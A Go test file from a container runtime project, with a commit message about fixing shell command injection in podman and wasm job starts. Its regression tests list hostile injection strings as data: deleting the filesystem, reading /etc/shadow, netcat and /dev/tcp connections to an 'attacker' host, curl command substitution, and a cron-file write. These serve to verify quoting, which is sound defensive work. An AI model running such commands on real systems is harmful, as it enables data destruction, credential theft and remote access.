ce2441f312
---ci--- project: orca phase: 1 milestone: v0.12 status: execute ---/ci--- shellQuote the jobspec-supplied command string (cmdStr) before interpolating into SSH exec in podman.go (Start) and wasm.go (Start). Previously cmdStr was interpolated unquoted, allowing a malicious jobspec command with shell metacharacters (; | $() backticks newline > <) to inject commands on the peer. Fixes: - internal/runtime/runtime.go: add shellQuote helper (mirrors internal/sshpush.shellQuote; duplicated to avoid import cycle). - internal/runtime/podman.go: Start quotes name + cmdStr; Stop/rm/ inspect quote name (defense-in-depth). - internal/runtime/wasm.go: Start uses env 'ORCA_ALLOC_ID=<id>' (so the UUID-style alloc ID is safely assigned) and shellQuote(cmdStr). Tests: 21 new injection regression tests (10 podman + 9 wasm + 2 image) covering ; && | $() backticks newline $IFS > < (). All pass. Existing runtime tests still pass. go vet + gofmt clean.
312 lines
9.9 KiB
Go
312 lines
9.9 KiB
Go
package runtime
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import (
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"context"
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"errors"
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"strings"
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"testing"
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"time"
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"git.cloudinit.dev/coreci/orca/internal/jobspec"
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"git.cloudinit.dev/coreci/orca/internal/sshpush"
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)
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// allocNoImage returns an alloc whose Spec has a Runtime block with a
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// command but no image.
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func allocNoImage(runtime string) *Alloc {
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return &Alloc{
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ID: "x",
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Runtime: runtime,
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Spec: &jobspec.WorkloadSpec{
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Runtime: &jobspec.RuntimeBlock{Command: "/bin/true"},
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},
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}
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}
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// TestPodmanRuntime_HappyPath wires a fake server that responds to
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// podman pull/run/stop/rm/inspect and verifies the full lifecycle.
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func TestPodmanRuntime_HappyPath(t *testing.T) {
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srv := newFakeServer(t)
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defer srv.close()
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const cid = "abc123def456"
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srv.setHandler("podman pull", func(cmd string) ([]byte, int) { return nil, 0 })
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srv.setHandler("podman run", func(cmd string) ([]byte, int) { return []byte(cid + "\n"), 0 })
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srv.setHandler("podman stop", func(cmd string) ([]byte, int) { return nil, 0 })
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srv.setHandler("podman rm", func(cmd string) ([]byte, int) { return nil, 0 })
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srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
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return []byte("true\n"), 0
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})
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "docker.io/library/alpine:latest", "sleep 30", srv.addr())
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ctx, cancel := withTimeout(10 * time.Second)
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defer cancel()
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if err := p.Prepare(ctx, a); err != nil {
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t.Fatalf("Prepare: %v", err)
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}
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pid, err := p.Start(ctx, a)
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if err != nil {
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t.Fatalf("Start: %v", err)
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}
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if pid <= 0 {
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t.Fatalf("pid = %d, want > 0", pid)
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}
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st, err := p.Status(ctx, a)
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if err != nil {
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t.Fatalf("Status: %v", err)
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}
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if st != StateRunning {
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t.Errorf("Status = %q, want running", st)
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}
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if err := p.Stop(ctx, a); err != nil {
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t.Fatalf("Stop: %v", err)
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}
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}
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// TestPodmanRuntime_StatusFalse verifies Status returns stopped when
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// the container reports running=false.
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func TestPodmanRuntime_StatusFalse(t *testing.T) {
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srv := newFakeServer(t)
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defer srv.close()
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srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
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return []byte("false\n"), 0
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})
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "img", "sleep 1", srv.addr())
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st, err := p.Status(context.Background(), a)
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if err != nil {
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t.Fatalf("Status: %v", err)
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}
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if st != StateStopped {
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t.Errorf("Status = %q, want stopped", st)
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}
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}
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// TestPodmanRuntime_StatusBadOutput verifies Status returns failed on
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// unexpected inspect output.
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func TestPodmanRuntime_StatusBadOutput(t *testing.T) {
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srv := newFakeServer(t)
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defer srv.close()
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srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
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return []byte("garbage\n"), 0
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})
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "img", "sleep 1", srv.addr())
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if _, err := p.Status(context.Background(), a); err == nil {
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t.Error("Status with bad output should error")
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}
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}
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// TestPodmanRuntime_PrepareNoImage verifies Prepare errors when the
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// alloc has no image.
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func TestPodmanRuntime_PrepareNoImage(t *testing.T) {
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p := NewPodmanRuntime(nil)
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a := allocNoImage("podman")
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if err := p.Prepare(context.Background(), a); err == nil {
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t.Error("Prepare with no image should error")
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}
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}
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// TestPodmanRuntime_PrepareTransportError verifies Prepare propagates a
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// transport error (podman pull fails).
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func TestPodmanRuntime_PrepareTransportError(t *testing.T) {
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srv := newFakeServer(t)
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defer srv.close()
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srv.setHandler("podman pull", func(cmd string) ([]byte, int) {
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return []byte("manifest unknown\n"), 2
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})
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "img", "sleep 1", srv.addr())
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if err := p.Prepare(context.Background(), a); err == nil {
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t.Error("Prepare with failed pull should error")
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}
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}
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// TestPodmanRuntime_StartNoImage verifies Start errors with no image.
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func TestPodmanRuntime_StartNoImage(t *testing.T) {
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p := NewPodmanRuntime(nil)
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a := allocNoImage("podman")
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if _, err := p.Start(context.Background(), a); err == nil {
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t.Error("Start with no image should error")
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}
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}
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// TestPodmanRuntime_StopTransportError verifies Stop propagates errors.
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func TestPodmanRuntime_StopTransportError(t *testing.T) {
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srv := newFakeServer(t)
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defer srv.close()
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srv.setHandler("podman stop", func(cmd string) ([]byte, int) {
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return []byte("no such container\n"), 1
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})
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "img", "sleep 1", srv.addr())
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if err := p.Stop(context.Background(), a); err == nil {
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t.Error("Stop with missing container should error")
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}
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}
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// TestPodmanRuntime_StatusInspectError verifies Status returns failed
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// when inspect itself errors.
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func TestPodmanRuntime_StatusInspectError(t *testing.T) {
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srv := newFakeServer(t)
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defer srv.close()
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srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
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return []byte("no such container\n"), 1
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})
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "img", "sleep 1", srv.addr())
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st, err := p.Status(context.Background(), a)
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if err == nil {
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t.Error("Status with inspect error should error")
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}
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if st != StateFailed {
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t.Errorf("Status = %q, want failed", st)
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}
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}
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// TestPodmanCidToPID verifies the synthetic PID derivation.
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func TestPodmanCidToPID(t *testing.T) {
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if got := podmanCidToPID(""); got != 1 {
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t.Errorf("empty cid -> %d, want 1", got)
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}
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if got := podmanCidToPID("a"); got <= 0 {
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t.Errorf("single hex -> %d, want > 0", got)
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}
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if got := podmanCidToPID("abcd"); got <= 0 {
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t.Errorf("abcd -> %d, want > 0", got)
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}
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// non-hex chars fall through to 0 contributions but still yield
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// a positive result (>= 1 by the floor).
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if got := podmanCidToPID("xyz123"); got <= 0 {
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t.Errorf("xyz123 -> %d, want > 0", got)
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}
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}
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// TestContainerNameSanitization verifies the container-name sanitizer
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// uppercases and strips disallowed characters.
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func TestContainerNameSanitization(t *testing.T) {
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a := &Alloc{ID: "ALLOC_1.2.3", Spec: nil, Runtime: "podman"}
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got := containerName(a)
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if !strings.HasPrefix(got, "orca-") {
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t.Errorf("containerName = %q, want orca- prefix", got)
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}
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if strings.Contains(got, ".") {
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t.Errorf("containerName = %q, should not contain '.'", got)
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}
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}
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// TestPodmanRuntime_DialError verifies Prepare fails fast when the
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// peer is unreachable (no fake server).
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func TestPodmanRuntime_DialError(t *testing.T) {
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srv := newFakeServer(t)
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// close immediately so dial fails.
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srv.close()
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "img", "sleep 1", srv.addr())
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if err := p.Prepare(context.Background(), a); err == nil {
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t.Error("Prepare against dead peer should error")
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} else if !errors.Is(err, sshpush.ErrTransient) && !errors.Is(err, sshpush.ErrPermanent) {
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// acceptable: either transient (retry exhausted) or permanent.
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t.Logf("Prepare err (acceptable): %v", err)
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}
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}
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// --- REQ-119 / F3 command injection regression tests ---
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// TestPodmanRuntime_CommandInjection verifies that a jobspec command
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// containing shell metacharacters is shell-quoted, not interpreted by
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// the remote shell. The fake server captures the exact command string
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// and we assert the metacharacters are wrapped in single quotes.
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func TestPodmanRuntime_CommandInjection(t *testing.T) {
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injections := []string{
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"sleep 1; rm -rf /",
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"sleep 1 && cat /etc/shadow",
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"sleep 1 | nc attacker 4444",
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"sleep 1 $(curl evil.sh)",
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"sleep 1 `whoami`",
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"sleep 1\nwhoami",
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"sleep 1; echo $IFS",
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"sleep 1 > /etc/cron.d/pwn",
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"sleep 1 < /dev/tcp/attacker/4444",
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"sleep 1; (id)",
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}
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for _, inj := range injections {
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t.Run(inj, func(t *testing.T) {
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srv := newFakeServer(t)
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defer srv.close()
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var captured string
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srv.setHandler("podman run", func(cmd string) ([]byte, int) {
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captured = cmd
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return []byte("abc123def456\n"), 0
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})
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "img", inj, srv.addr())
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if _, err := p.Start(context.Background(), a); err != nil {
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t.Fatalf("Start: %v", err)
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}
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// The injection string must appear shell-quoted (wrapped in
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// single quotes, embedded quotes escaped) — NOT bare in
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// the command. We assert the dangerous characters don't
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// appear unquoted after the image argument.
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if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") {
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t.Errorf("injection not shell-quoted in command:\n%s", captured)
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}
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// The raw unquoted injection must NOT appear as a bare
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// command token (i.e., no `; rm -rf /` outside quotes).
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// A robust check: the command should not contain the raw
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// injection string as an unquoted substring. Since the
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// quoted form wraps it, the raw form only appears inside
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// the quotes.
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bare := strings.ReplaceAll(inj, "'", "'\\''")
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quoted := "'" + bare + "'"
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// Remove the quoted occurrence; if the bare injection
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// still remains, it was emitted unquoted somewhere.
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withoutQuoted := strings.Replace(captured, quoted, "", 1)
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if strings.Contains(withoutQuoted, inj) {
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t.Errorf("injection appears unquoted in command:\n%s", captured)
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}
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})
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}
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}
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// TestPodmanRuntime_ImageNameInjection verifies the image is %q-quoted
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// (double-quoted via %q), so an image with shell metacharacters cannot
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// break out. The image is safe-by-%q, but we assert it stays quoted.
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func TestPodmanRuntime_ImageNameInjection(t *testing.T) {
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srv := newFakeServer(t)
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defer srv.close()
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var captured string
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srv.setHandler("podman pull", func(cmd string) ([]byte, int) {
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captured = cmd
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return nil, 0
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})
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tr := realTransport(t, srv)
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defer tr.Close()
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p := NewPodmanRuntime(tr)
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a := allocWithNode("podman", "img; rm -rf /", "sleep 1", srv.addr())
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_ = p.Prepare(context.Background(), a)
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// %q double-quotes the image, so `; rm -rf /` is inside quotes.
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if !strings.Contains(captured, "\"img; rm -rf /\"") {
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t.Errorf("image not pct-q-quoted in pull:\n%s", captured)
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}
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}
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